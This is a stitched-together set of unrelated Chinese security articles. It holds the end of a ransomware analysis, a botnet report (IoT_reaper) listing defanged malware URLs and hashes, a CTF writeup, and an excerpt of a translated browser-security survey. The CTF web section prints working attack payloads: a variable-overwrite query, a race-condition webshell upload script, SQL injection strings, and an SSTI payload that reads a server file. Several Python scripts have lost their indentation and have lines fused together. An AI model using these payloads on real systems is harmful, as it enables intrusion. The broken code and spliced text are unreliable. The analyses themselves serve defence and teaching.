在加密算法上，该勒索病毒选择了极为简单的异或加密。首先将特定标识符、版本信息以及随机字符串进行简单处理后存放在C:\Users\unname_1989\dataFile路径下，文件名为appCfg.cfg。
图12 生成密钥存放到appCfg.cfg中
加密文件时，从第120位读取appCfg.cfg中的密钥，与硬编码在程序中的字符串按位异或之后，作为加密密钥与待加密文件内容按位异或。
图13 勒索病毒加密过程
因为加密文件通过简单的异或算法实现，因此该勒索病毒是可解的。同时，由于appCfg.cfg中存放的密钥包含随机生成的部分，因此受害用户需要保留该文件以进行解密。
## 一些建议
1. 不要相信刷量、外挂、打码、私服等一些较为灰色的软件所声称的“杀毒软件误报论”。
2. 对来自即时通讯软件或邮件附件中的陌生软件要提高警惕。尽可能不下载、不运行，如确实需要，一定要提前用安全软件进行查杀以保障安全。
3. 养成良好的安全习惯，及时更新系统和软件，修补漏洞。不给黑客和恶意程序可乘之机。
4. 360安全卫士可正常拦截该病毒攻击，并可解密已被该勒索病毒加密的文件，请即使安装和确保其正常运行
图14 360安全卫士可正常拦截本次勒索病毒
图15 360解密大师可成功解密被该勒索病毒加密的文件
## IOCs
566bb1d3c05d4eb94e634e16e3afcc33
8f9463f9a9e56e8f97f30cd06dd2b7be
baff9b641d7baff59a33dfac1057c4a8
d5f9cfa306bcdd50c3b271bfe01d81ff
42651293d5e0b970521a465d2c4928a6
028c48146f08691ae8df95b237d39272
43079041ef46324f86ac9afc96169104
847bcf6655db46673ad135997de77cf2
6455b968e811041998c384d6826814df | 社区文章 |
# 【僵尸网络】IoT_reaper : 一个正在快速扩张的新 IoT僵尸网络
|
##### 译文声明
本文是翻译文章，文章来源：netlab.360.com
原文地址：<http://blog.netlab.360.com/iot-reaper-a-quick-summary-of-a-rappid-spreading-new-iot-botnet/>
译文仅供参考，具体内容表达以及含义原文为准。
**传送门**
****
[**【僵尸网络】IoT_reaper
情况更新（25日最近更新）**](http://bobao.360.cn/learning/detail/4605.html)
**前言**
从2017-09-13
01:02:13开始，我们捕获到一个新的针对IoT设备的恶意样本出现，在随后的这个一个多月时间里，这个新的IoT僵尸网络家族不断持续更新，开始在互联网上快速大规模的组建僵尸网络军团。
**该僵尸网络脱胎于mirai，但是在诸多方面比mirai更进一步，特别是开始放弃弱口令猜测，完全转向利用IoT设备漏洞收割，成为IoT僵尸网络里的新兴玩家。**
我们将之命名为 **IoT_reaper** 。
**IoT_reaper**
规模较大且正在积极扩张，例如最近的数据昨日(10月19日)在我们观察到的多个C2中，其中一个C2上活跃IP地址去重后已经有10k个，此外还有更多的易感设备信息已经被提交到后台，由一个自动的loader持续植入恶意代码、扩大僵尸网络规模。
所幸目前该僵尸网络还尚未发出植入恶意代码以外的其他攻击指令，这反映出该僵尸网络 **仍然处在早期扩张阶段** 。但是作者正在积极的修改代码，这值得我们警惕。
我们公开 **IoT_reaper** 的相关信息，希望安全社区、设备供应商、政府能够采取共同行动，联合遏制该僵尸网络的扩张。
**源于mirai，高于mirai**
****
该僵尸网络部分借用了mirai的源代码，但是在几个关键行为上显著区别于mirai，包括：
**恶意代码投入时不再使用弱口令猜测、而是使用IoT设备漏洞，扫描发现效率大大提高；**
**恶意代码中集成了LUA执行环境，从而支持通过lua脚本编写复杂的攻击指令；**
**主动抑制了扫描速度， 被安全研究者发现的风险大大降低；**
**
**
**样本的投入、C2的布局和流量变化**
****
以hxxp://162.211.183.192/sa样本为例，样本的投入过程如下。可以注意到downloader是 **IoT_reaper** 特有，这个
C2 布局与mirai有显著区别：
**162.211.183.192** ：downloader，样本下载服务器，一般以"d"作为二级域名，d.hl852.com
**27.102.101.121** ：controller，能够控制BOT、发送控制指令，一般以"e"作为二级域名，e.hl852.com
**222.112.82.231** ：reporter，接收BOT扫描到的易感染设备信息，一般以"f"作为二级域名，f.hl852.com
**119.82.26.157** ：loader，基于reporter获得的IP信息，通过漏洞植入bot
下图是上述4个IP地址自9月1日以来的流量变化：
**样本中集成了9个IoT漏洞**
****
**IoT_reaper**
完全放弃了mirai中利用弱口令猜测的方式，转为利用IoT设备的漏洞植入，当前样本中集成了了9个IoT设备漏洞。最近十天以来，攻击者正在积极的将漏洞利用集成进入样本中，其中一个漏洞在公开后仅2天就被集成。
Dlink <https://blogs.securiteam.com/index.php/archives/3364>
Goahead <https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html>
JAWS <https://www.pentestpartners.com/blog/pwning-cctv-cameras/>
Netgear <https://blogs.securiteam.com/index.php/archives/3409>
Vacron NVR <https://blogs.securiteam.com/index.php/archives/3445>
Netgear <http://seclists.org/bugtraq/2013/Jun/8>
Linksys <http://www.s3cur1ty.de/m1adv2013-004>
dlink <http://www.s3cur1ty.de/m1adv2013-003>
AVTECH <https://github.com/Trietptm-on-Security/AVTECH>
可以注意到作者在积极的改进代码：
**公开渠道10月8日公开的 Vacron NVR远程利用漏洞，作者在10月10日以前就已经增加到恶意代码中；**
**10月12日、10月16日的两次更新，作者分别增加了3个、1个漏洞利用；**
**
**
**样本中集成了lua执行环境**
****
Md5: CA92A3B74A65CE06035FCC280740DAF6
基于lua执行环境，攻击者可以编写出非常复杂而且高效的攻击脚本。
**样本中集成了约100个DNS服务器**
****
比照我们的[DRDoS](http://data.netlab.360.com/drdos-reflector/)数据，100+的DNS服务器中，有大约三分之一的服务器曾经在现实世界中用来做为DNS反射攻击的反射点。这在之前mirai及其变种中是没有观察到的。
攻击者是否能够进一步充分组合使用 IoT 僵尸网络 + DNS反射点 打出大流量的DDoS攻击，有待进一步观察。
**目前为止没有实质性的攻击指令**
****
攻击指令方面，目前为止除了下载样本的指令以外，没有看到DDoS攻击指令，这显示出攻击者目前工作重心仍在构建僵尸网络上。
**感染规模**
****
基于一些统计技巧，我们对感染规模做了一个相对精确的统计
待植入节点数：单个C2，超过2m；
累积已植入节点数：单个C2，近7天超过20k；
当日活跃节点数：单个C2，10月19日大约是10k左右；
同时在线节点数：单个C2，大约是4k左右；
**攻击能力**
****
虽然目前为止我们没有监测到该僵尸网络除植入恶意代码以外的任何攻击行为，但是我们判定该僵尸网络有较强的攻击潜力：
**可以认为攻击者拥有100Gbps攻击带宽。我们已经确认该僵尸网络有超过10k/d的日活节点，假定每个节点拥有10mbps的上行带宽，则攻击者拥有100Gbps的攻击带宽；**
**该僵尸网络内置了lua执行环境。尽管样本中删去了mirai相关攻击代码，但基于lua执行环境可以编写出非常复杂而且高效的攻击脚本；**
**
**
**IoC URLs**
****
hxxp://cbk99.com:8080/run.lua
hxxp://bbk80.com/api/api.php
hxxp://103.1.221.40/63ae01/39xjsda.php
hxxp://162.211.183.192/down/server.armel
hxxp://162.211.183.192/sa
hxxp://162.211.183.192/sa5
hxxp://162.211.183.192/server.armel
hxxp://162.211.183.192/sm
hxxp://162.211.183.192/xget
hxxp://198.44.241.220:8080/run.lua
hxxp://23.234.51.91/control-ARM-LSB
hxxp://23.234.51.91/control-MIPS32-MSB
hxxp://23.234.51.91/htam5le
hxxp://23.234.51.91/htmpbe
hxxp://27.102.101.121/down/1506753086
hxxp://27.102.101.121/down/1506851514
**IoC Hashes**
****
3182a132ee9ed2280ce02144e974220a
3d680273377b67e6491051abe17759db
41ef6a5c5b2fde1b367685c7b8b3c154
4406bace3030446371df53ebbdc17785
4e2f58ba9a8a2bf47bdc24ee74956c73
596b3167fe0d13e3a0cfea6a53209be4
6587173d571d2a587c144525195daec9
6f91694106bb6d5aaa7a7eac841141d9
704098c8a8a6641a04d25af7406088e1
726d0626f66d5cacfeff36ed954dad70
76be3db77c7eb56825fe60009de2a8f2
95b448bdf6b6c97a33e1d1dbe41678eb
9ad8473148e994981454b3b04370d1ec
9f8e8b62b5adaf9c4b5bdbce6b2b95d1
a3401685d8d9c7977180a5c6df2f646a
abe79b8e66c623c771acf9e21c162f44
b2d4a77244cd4f704b65037baf82d897
ca92a3b74a65ce06035fcc280740daf6
e9a03dbde09c6b0a83eefc9c295711d7
f9ec2427377cbc6afb4a7ff011e0de77
fb7c00afe00eeefb5d8a24d524f99370
**传送门**
****
**[【僵尸网络】IoT_reaper
情况更新（25日最近更新）](http://bobao.360.cn/learning/detail/4605.html)** | 社区文章 |
## 第七届山东省大学生网络安全技能大赛Writeup
### Misc
#### 1.Crack it
**题目描述**
破解该文件，获得密码，flag格式为：flag{ ******* }
**知识点**
shadow文件破解
**解题思路**
kali下，无需加载字典，john直接破解即可。
flag{hellokitty}
#### 2.进制转换
**题目描述**
二进制、八进制、十进制、十六进制，你能分的清吗？
**知识点**
编程基础、进制转换
**解题思路**
import binascii
text = "d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e"
solution = ''
text2 = text.split(' ')
for x in text2:
print x
if x[0] == 'b': #binary
solution += chr(int(x[1:],2))
elif x[0] == 'x': # hexadecimal
solution += x[1:].decode("hex")
elif x[0] == 'd': # decimal
solution += chr(int(x[1:]))
elif x[0] == 'o': # octal
solution += chr(int(x[1:],8))
print solution
#### 3.basic
**题目描述**
黑，白，黑白，黑黑白白。
**知识点**
python像素点写图片
**解题思路**
from PIL import Image
import re # 506*122=61366
x = 150 #x坐标 通过对txt里的行数进行整数分解
y = 900 #坐标 x*y = 行数
im = Image.new("RGB",(x,y))#创建图片
file = open('basic.txt') #打开rbg值文件
#通过一个个rgb点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
rgb = line.split(",")#分离rgb
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()
得到flag图片
flag{RGB_1s_e4sY}
### Crypto
#### 1.affine
**题目描述**
y = 17*x-8 flag{szzyfimhyzd}
答案格式：flag{ ** _**_** }
**知识点**
仿射加密
**解题思路**
仿射加密，直接解密即可。
#### 2.rsa
**题目描述**
请破解密文
**知识点**
rsa wiener attack
**解题思路**
ne已经给出，可以看出e特别大，在e特别大的情况下，可以使用wiener attack的方法进行破解，
正好工具RsaCtfTool集成了wiener attack的方法，所以可以直接使用RsaCtfTool计算私钥， 如下所示：
使用pqe直接解密密文，得到flag,代码如下所示:
#coding:utf-8
from libnum
import n2s,s2nimport base64
def gcd(a, b): #求最大公约数
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % mif __name__ == "__main__":
p=15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199
q=28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003
e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
# tmp = base64.b64decode("qzogS7X8M3ZOpkUhJJcbukaRduLyqHAPblmabaYSm9iatuulrHcEpBmil7V40N7gbsQXwYx5EBH5r5V2HRcEIOXjgfk5vpGLjPVxBLyXh2DajHPX6KvbFpQ8jNpCQbUNq8Hst00yDSO/6ri9dk6bk7+uyuN0b2K1bNG5St6sCQ4qYEA3xJbsHFvMqtvUdhMiqO7tNCUVTKZdN7iFvSJqK2IHosIf7FqO24zkHZpHi31sYU7pcgYEaGkVaKs8pjq6nbnffr4URfoexZHeQtq5UAkr95zD6WgvGcxaTDKafFntboX9GR9VUZnHePiio7nJ3msfue5rkIbISjmGCAlj+w==")
# =
d = modinv(e, (p - 1) * (q - 1))# c=s2n(tmp)
c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
#c = 225031483444634056931067907865853799650197225351377050632290334721073031287701730297815850654473721939907812470206115171738967740183098960272963323728747481560137205796840356532306950935686580268408289864109695494835661414073083573249882362332920722000099781994315336570711188934565379141406727420346806389405536474102730682155998263607095718543239272202402139286809779368710600842078606046563228470023546348908618719147790859257980882643030144242048154566691808688844513142261099020381730517293884263384819159874220288293023868919557980548807831273449743064237407705987056818011286315950476959812697067649075359373253
n = p*q
m=pow(c,d,n)
print n2s(m)
此处对于libnum库安装简单说明一下
git clone https://github.com/hellman/libnum
cd libnum
python setup.py install
把脚本跑一下就会得到flag
#### 3.神秘的代码
**题目描述**
xor
**知识点**
xor+aes_ecb
**解题思路**
将明文与密文进行异或，得到一段hint，如下所示：
i am a hydre agenT, coverly spying on the superHeroes. I am aware of the group that iS going to aTtack you...but Hydra has had its diffErences with you in the past, so i'm not going to maKe it vEry simple for You ....ecb...aes(I Vouch for this: 12345)...md5(this)...base64...
这里将大写字母提取出来，是THISTHEKEYIV，后面又提示是aes_ecb，所以这里有一个坑点，这个大写字母的组合并不是aes算法的key，
所以也不能用来解密，然后后面又提示是md5(this)，即将整段话进行md5，然后进行解密，最后的代码如下：
import base64
import hashlib
from Crypto.Cipher import AES
def readfile(path):
with open(path, 'r') as f:
return f.read()
def xor(s1, s2):
return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))
# read the files
clear = readfile('info_clear.txt')
crypt = readfile('info_crypt.txt')
superhero = readfile('true_crypto.txt')
superhero = base64.b64decode(superhero)
# get the key
dec = xor(clear,crypt).rstrip('\n').encode('utf-8')
print(dec)
key = hashlib.md5(dec).hexdigest().encode()
print(key)
# decrypt aes-ecbcipher = AES.new(key, AES.MODE_ECB)
msg = cipher.decrypt(superhero)
print(msg)
简单说明一下关于：使用python的Crypto模块的AES加密文件
在cmd中执行：
pip install pycrypto -i https://mirrors.aliyun.com/pypi/simple/
经过上边儿的步骤，就可以使下面的内容执行
from Crypto.Cipher import AES
### Stego
#### 1.啊哒
**题目描述**
有趣的表情包
**知识点**
exif、隐藏压缩包
**解题思路**
拿到之后是一个jpg文件，先使用binwalk分析下文件，得到图片中隐藏了一段tiff信息以及一个压缩包，都分离出来，发现压缩包被加密了，
tiff信息在相机型号出处有一段十六进制，转换成字符串以后是sdnisc_2018,如下图所示：
使用这个密码解密压缩包，即可获得：`flag{3XiF_iNf0rM@ti0n}`
#### 2.color
**题目描述**
你见过彩虹吗？
**知识点**
拉长图片，二进制转字符串。
**解题思路**
查看每张图片的最低位，发现有变化。组成之后是一句话：
Make Me Tall
根据提示意思应该是要调整png的尺寸，扩大高度。
发现原来图像下部，有黑白块儿，按照黑->1，白->0转化成二进制数。
1111111101011110111111111011111110111111
00001100101010110001 01001010010000001101 11010011011101010111
1001101101101011011000111001101101111101
经过多次尝试之后发现，每一列，七个数字组成一个字符，进行二进制转化之后即可得到flag。
c1 = '11111111010111101111'
c2 = '11111011111110111111'
c3 = '00001100101010110001'
c4 = '01001010010000001101'
c5 = '11010011011101010111'
c6 = '10011011011010110110'
c7 = '00111001101101111101'
flag = ''
for i in range(0,20):
c = c1[i]+c2[i]+c3[i]+c4[i]+c5[i]+c6[i]+c7[i]
flag += chr(int(c,2))
print flag
#### 3.神秘的文件
**知识点**
明文破解 + doc隐写
**解题思路**
将题目解压出来，题目压缩包里有个logo.png和一个加密压缩包，很明显的明文破解，
使用题目压缩包作为key和writeup压缩包进行明文破解(或者使用2345好压的标准压缩算法压缩logo.png)，得到密码：
解压后得到doc文件，当成压缩包解密，能找到flag.txt中有一串base64编码的字符串，解码即可。
flag{d0cX_1s_ziP_file}
### Web
#### web1 - babyweb
加XFF头和更改cookie的admin
#### web2 - babyweb2
<?php
include 'here.php';
$key = 'kelaibei';
if(isset($_GET['id'])){
$id = $_GET['id'];
@parse_str($id);
if ($key[99] != 'aabg7XSs' && md5($key[99]) == md5('aabg7XSs')) {
echo $hint;
}
else{
echo 'try again';
}
}
else{
show_source(__FILE__);
}
利用parse_str变量覆盖，`paylaod:?id=key[99]=QNKCDZO`
得到`upl04d50m3thing.php`
写入一句话,提交得到php文件链接，访问发现内容被更改，输出Too slow!
利用条件竞争，先用burp的intruder开多线程访问
再利用脚本或其他方式尝试getshell
import requests
url = 'http://47.105.148.65:29002/uploads/457b055ce2a489dd334216ed0564f9351506d690/coold.php'
while 1:
r = requests.get(url)
if 'flag' in r.text:
print r.text
flag{fa8d57d013fda75ad1e58e59b94b45c3}
#### easy_flask
Search Comments:处存在sql注入' order by 4# 出现错误
然后查询
存在ssti
SSTI，又称服务端模板注入攻击。其发生在MVC框架中的view层。
服务端接收了用户的输入，将其作为 Web 应用模板内容的一部分，在进行目标编译渲染的过程中，执行了用户插入的恶意内容，
因而可能导致了敏感信息泄露、代码执行、GetShell 等问题
但是add中限制字符长度，最多提交十个字符，没法正常使用ssti
测试search功能，username中存在sql注入
sdpcc ' union select 1,1,1 -- -
尝试查看flag
{{ ().__class__.__bases__[0].__subclasses__()[40]("/flag").read()}}
就会得到flag:`flag{c15f43da-481e-4131-84b2-e315719b989b}` | 社区文章 |
**译者:知道创宇404实验室翻译组
原作者：Jungwon Lim _, Yonghwi Jin_ †, Mansour Alharthi, Xiaokuan Zhang, Jinho
Jung, Rajat Gupta, Kuilin Li, Daehee Jang‡, Taesoo Kim**
`摘要`
Web浏览器是每个人日常生活中不可或缺的一部分。它们经常用于注重安全性和隐私敏感的事情，银行交易和检查医疗记录时都会用到。不幸的是，现代Web浏览器过于复杂，难免会有漏洞（例如，Chrome中有2500万行代码），它们作为网络空间接口的作用使它们容易受到攻击。因此，Web浏览器自然成为展示攻击者先进漏洞利用技术和浏览器供应商最先进防御措施的舞台。可以说，Web浏览器是学习最新安全问题和技术的绝佳之地，但由于其快速变化的特性和复杂的代码库，对于大多数安全研究人员来说，
Web浏览器仍然如魔法一般不好捉摸。
为了弥补这一差距，本文将通过研究流行的安全漏洞类型、它们的漏洞利用技术和部署的防御措施,
来系统化讲述现代Web浏览器的安全环境。具体来讲，我们首先介绍了一个统一的架构，展示四大Web浏览器的安全设计。其次，我们分享了近10年有关浏览器漏洞纵向研究的见解。第三，我们提出了应对计划及其有效性的时间表和背景。第四，我们分享了我们在2020年
Pwn2Own
比赛中使用的全链漏洞利用的经验教训。我们相信，这种系统化的关键点梳理可以揭示如何推进改善现代网络浏览器的现状，更重要的是，如何在未来创建安全不易攻破的软件。
## I. 序
Web浏览器在现代互联网连接生活方式中发挥着不可或缺的作用。我们依靠网络浏览器来支付抵押贷款、安排疫苗接种并与世界各地的人们联系。换句话说，网络浏览器成为网络空间的守门人，它们的不安全性对我们社会的安全、公平和隐私构成严重威胁。不幸的是，网络浏览器一直是网络攻击中最具吸引力、最有价值的目标——2021年[58]，50%的0-day漏洞都是对web浏览器的攻击，这威胁到互联网上的每一个人[103],
[141], [195], [196], [211], [230], [231]。
因此，希望使用新型漏洞利用技术入侵的攻击者与希望通过最先进的应对方案保护用户安全的浏览器供应商自然把现代Web浏览器当做战场。浏览器供应商确实是通过以下方式推进现代安全实践的重要参与者:
1\. 不仅开源当前架构和代码，还开源设计过程本身[45]、[52]、[210]; 2\. 引入漏洞赏金奖励以鼓励发现0-day漏洞[116]、[176];
3\. 通过在云上开发和运行最先进的模糊测试器[109]，[111]，主动发现可利用的漏洞
不幸的是，详细的安全设计决策和针对新漏洞利用的新缓解措施的见解通常不是那么容易做到，Web浏览器社区中已经见识到了难度。一部分原因是它们复杂的架构、快速变化的实现方法和庞大的代码库，但主要是因为同时清晰且客观地系统化所有主要Web浏览器的知识并非易事。每个浏览器供应商的专家都试图提供他们对安全设计和决策的看法，例如
Chrome[44]、IE[51]、Firefox[54]。之前在2017年发表的行业报告[90]、[226]主要侧重于以一种临时的、实时的的方式描述个别技术和防御措施，而没有发展学术观点或提供有助于为社区设想未来方向的见解和教训。
本文大胆尝试将现代Web浏览器的安全环境系统化梳理。我们首先提供了四种主要网络浏览器在安全方面的统一模型，并通过使用提供的模型比较和对比它们的安全决策。其次，基于该模型，我们分析了过去10年在每个开源浏览器中发现的安全漏洞，并展示了它们与新应对方案的开发、漏洞赏金计划和已知的漏洞利用技术的关系。第三，根据我们的研究，我们分享我们的见解和经验教训，以激励正在塑造网络浏览器未来的研究人员和开发人员。我们希望这样的尝试可以帮助他们全面了解每个供应商的方法，从而增强他们的安全设计，以最大限度地减少安全影响和攻击面。
`挑战`: 三个独特的特点使得将网络浏览器安全知识系统化变得具有挑战性。 1\. 研究对象不断在变化:
浏览器供应商做出决策非常快速（例如，每周更新），他们的开发速度比人类构建的任何其他软件都要快得多。为了推断出有见地的经验教训，我们努力专注于Web浏览器中的基本设计问题和方法。
2\. 海量的研究量: 现代网络浏览器是用几百万行代码构建的，例如，Chrome由2500万行代码组成
[16]。除了项目规模之外，有关Web浏览器的信息（例如0-day漏洞利用和缓解措施）分散在整个Internet中，无法提供安全形势的整体总结和概述。在本文中，我们将精力集中在四种主要的网络浏览器上，即Chrome、Firefox、Safari和Edge，并研究众多公共资源以解决它们的安全问题：issue跟踪器[43]、[48]、CVE报告
[2]、[4]、[5]、[7]、[9]、[11]、[12]、[14]、[55]、代码库 [30]、[45]、[52]、[60]，以及来自供应商的技术报告
[49]、[58]、[65]、[67]、[79]、[86]、[152]、[161]、[163]、[170]、[171]、[204]、[208]、[230]、[231]。
3\. 单独的规范:
同样重要的是，要就其安全问题提供客观的观点；每个浏览器在做出决策时都有自己的规范和要求（例如，发布截止日期），专注于基本问题是至关重要的。为了解决这个问题，我们提供了一个统一的架构，可以在概念上比较和对比每个浏览器的设计，而不会影响它们的实现细节。
`贡献`: 本文做出以下贡献: \- 提供现代浏览器架构在沙盒方案方面的结构的详细比较； \- 对浏览器漏洞进行为期10年的纵向研究； \-通过详细分析对浏览器漏洞进行分类； \- 研究浏览器上最先进的通用缓解措施； \- 对真实世界的全链漏洞利用进行详细研究。
`非本文的目标`。本研究的主要重点是网络浏览器安全，涉及其自身漏洞的安全性。我们不考虑其他与Web相关的安全问题，例如Web或Web服务器安全问题，例如跨站点脚本(XSS)、SQL注入等。请注意，尽管通用跨站点脚本(UXSS)[166]听起来类似于XSS，它通常源于浏览器的实现和设计中的问题，因此被认为是网络浏览器安全（§III-E）。
## II. 现代浏览器架构
本节提供了每个Web浏览器的统一模型，可以客观地比较它们的方法。
### A. 概述
现代网络浏览器采用最小权限原则，将操作系统进程作为保护域。通过使用进程域，可以使用三种类型的进程来描述每个Web浏览器，即`浏览器(browser)进程`（标记为绿色）、`渲染器(renderer)进程`（标记为洋红色magenta,
实际上在图中偏紫的那部分）和`特定任务的进程`（标记为黄色），如图1所示。
图1: 四大浏览器的内部架构。所有浏览器都部署了一个沙箱（粉红色区域）来限制渲染器，而详细的沙箱方法因底层操作系统而异。浏览器之间存在细微但重要的差异。
`浏览器进程`:
当Web浏览器启动时，浏览器进程以与用户相同的特权级别（即更高的特权）运行，并将沙箱配置文件传递给操作系统以限制其他进程的特权（即较低的特权）。它管理所有子进程（例如渲染器），并且是唯一通过系统调用（和用户界面）直接与用户交互的进程。
`渲染器进程`: 此进程负责解析和渲染不受信任的Web内容。Web上不断增长的数据类型导致渲染器进程包含各种各样的组件，例如媒体解析器、DOM 和 JS
引擎。由于它们是浏览器bug的主要来源，因此它们被限制在限制性沙箱中（参见§II-C）。渲染器进程通常是按浏览器选项卡或每个网页来生成的。每个渲染器的隔离策略因每个Web浏览器的安全策略或功能（例如，站点隔离）、运行时可用资源（例如，移动设备中的内存不足）甚至用户配置而异。
`其他进程`:
现代浏览器的架构是高度模块化的。这种模块化设计使浏览器能够根据进程的角色拥有不同的权限级别。与外部驱动程序交互的服务（例如，网络或GPU进程）被隔离为一个单独的进程，这为不需要此类访问的进程（如渲染器进程）启用了更严格的沙盒。Web浏览器通常也将扩展和插件放在不同的进程中。这可以保护具有更高权限级别的插件免受恶意Web内容的侵害，并保护浏览器在恶意插件的情况下不被劫持。
`进程间通信(IPC)`:
由于这些进程不能直接访问彼此的内存，它们总是通过操作系统提供的IPC通道进行通信，并且通信通常由浏览器（代理）进程进行调解。换句话说，浏览器进程作为一个关系监视器，限制从其他进程直接访问重要数据或高权限操作（例如，cookie或系统调用）。由于这种多进程架构，攻击总是从类似渲染进程这样的低权限进程发起，攻击者的目标是闯入以用户权限运行的浏览器进程。同时，它可以从渲染器进程中的良性bug导致的崩溃中恢复，从而使浏览器对稳定性问题具有弹性。
`同源政策(SOP)`:
实际上，网站由来自不同来源的大量内容组成，例如，将CDN用于常见的JavaScript库，通过iframe嵌入外部站点，或启用社交网络中的点赞按钮。网站的复杂性促成了每个Web浏览器的众多安全策略和独特功能。根据每个网站的来源[94]，浏览器进程和渲染器进程限制允许网页与哪些资源(例如cookie)进行交互，这就是同源策略(SOP)[94]。
### B. 浏览器的差异
到目前为止讨论的设计同样适用于所有四种主流浏览器。然而，如图1所示，一些实现细节会因浏览器的设计及其底层操作系统的不同而有所不同。例如，Chrome和Safari中的
GPU进程与渲染器进程是分开的，使用沙盒配置文件使它们能够访问3D API 平台[67]（参见
§II-C）。此外，Chrome、Firefox和Safari各自有一个单独的进程来处理网络服务，而Chrome网络服务则置于沙箱之外。Chrome团队目前正在实现其网络服务的沙箱
[28]。
`站点隔离`: 沙盒机制的确可以保护浏览器；但是，随着通用跨站脚本 (UXSS)
攻击的出现，攻击者可以窃取用户数据而无需沙箱逃逸。为了处理此类攻击，Chrome团队提出了站点隔离[186]以进一步将不同的站点来源分离到不同的进程中。它为每个站点来源创建了一个专用进程，因此不同站点来源之间没有隐式共享。站点隔离是解决UXSS的有效措施，它也有利于防止基于硬件的瞬态执行攻击[137]、[147]。Firefox有一个类似的项目，名为Fission[175]，它在Firefox_88_Beta[174]中发布。
`JavaScript引擎`: JavaScript引擎是现代浏览器的核心，它将JavaScript代码转换为机器代码。主流浏览器使用即时编译(Just-In-Time, JIT)[36][34][33]来加速代码执行。此外，JIT编译器对所有操作的结果和副作用(side-effects)进行建模，并运行各种分析过程以优化代码。如果其中任何一个出错，就会生成并执行具有内存损坏问题的本机代码，这可能导致严重的安全隐患[26]、[121]。虽然每个引擎都有不同的实现，但它们使用相似的设计原则并具有共同的攻击面（参考§III-D）。因此，攻击者可以构建出跨不同引擎的通用攻击原语，例如fakeobj和addrof原语[154]、[189]以及元素类型转换
[153]、[190]。JavaScript引擎也在浏览器之外被使用（例如Node.js使用V8），放大了JavaScript引擎中安全漏洞的影响。我们在§VI-A中讨论了由同类型的浏览器引擎引起的问题。
`渲染引擎`: 渲染引擎负责解释资源和渲染网页。四大浏览器中的每一个都有自己的渲染引擎：Safari使用WebKit;
Chrome使用Blink（衍生自WebKit）; Firefox使用 Gecko;
Edge使用Blink（替换EdgeHTML）。Web标准[219]、[224]用作浏览器供应商实现其渲染引擎的基线规范和参考。由于Web标准不断发展新功能，渲染引擎也发生了快速变化，即实现新功能或删除已弃用的功能。由于不同的决策过程和实现策略，在不同浏览器的渲染引擎中实现的特性有很大的不同[42]，攻击面[228]因而也是不同的。我们将在§III中讨论攻击面。
### C. 沙盒方案的差异
沙盒会限制程序执行，以防其偏离预期任务。然而，用于构建沙盒环境的底层技术和架构在操作系统之间存在显著差异。为了检查沙盒实现的内部结构，我们进行了如下操作，并在表I中总结了我们的发现。
1\. 审核浏览器的源代码 2\. 监控沙盒API的行为 3\. 分析预定义的沙盒策略文件(例如, Safari浏览器的配置)。
表I. 沙盒对比(Chrome, Firefox, Edge, Safari; on Windows, Linux, MacOS)
`对沙盒原语进行分类`: 在表I中，我们根据作用将沙盒原语分为三类: 1\. 权限削减, 使用DAC/MAC等平台的权限系统对沙盒进程应用更多受限制的权限；
2\. 域分离, 为沙盒进程分配一个分离的资源空间； 3\. 减少攻击面, 限制对系统服务、内核或设备驱动程序的访问。
`浏览器的特定特征`:
浏览器供应商根据给定的约束(如，可用内存)使用不同的原语。例如，站点隔离通过在受感染的渲染器和特权网页[107]、[108]之间设置一个原始的、进程级的安全边界来防止RCE漏洞转化为UXSS或沙盒逃逸。
`特定于操作系统的行为`: 我们还比较了不同操作系统(即Windows、Linux和macOS)的沙盒功能。
* `Windows`: 通过使用安全令牌(security token)来限制每个进程[117]。与基于功能的模型(capability-based model)类似，获得某个令牌级别的进程可以访问具有适当安全描述符级别的特权资源。例如，渲染器进程以低完整性令牌级别(low integrity token level)运行，代理进程以中等完整性令牌级别(medium integrity token level)运行，因此在默认情况下，从渲染器进程到代理进程的任何写入访问都将受到限制。
然而，细粒度的访问控制没有统一的协议。为了解决这个问题，Chrome和Firefox使用自己的IPC机制和资源相关功能的二进制级代码补丁以支持细粒度规则集[117]。微软在Windows
8中引入了AppContainer，通过添加"附加到进程令牌"的功能概念，对资源实施更细粒度的访问控制。Edge创建了一个基于AppContainer[89]的沙箱。从默认拒绝策略(deny-by-default)开始，Edge为所需的系统资源创建了一组功能。Chrome也在试验基于AppContainer的沙箱[28]。浏览器还利用各种功能来应对沙盒逃逸。例如，备用桌面和备用窗口站(alternate
window
station)可用于应对基于UI的攻击，例如Shatter[180]；引入"锁定默认DACL"[24]和"随机限制SID"[38]以执行更加严格的DACL，因此受感染的沙盒进程无法访问其他沙盒进程。
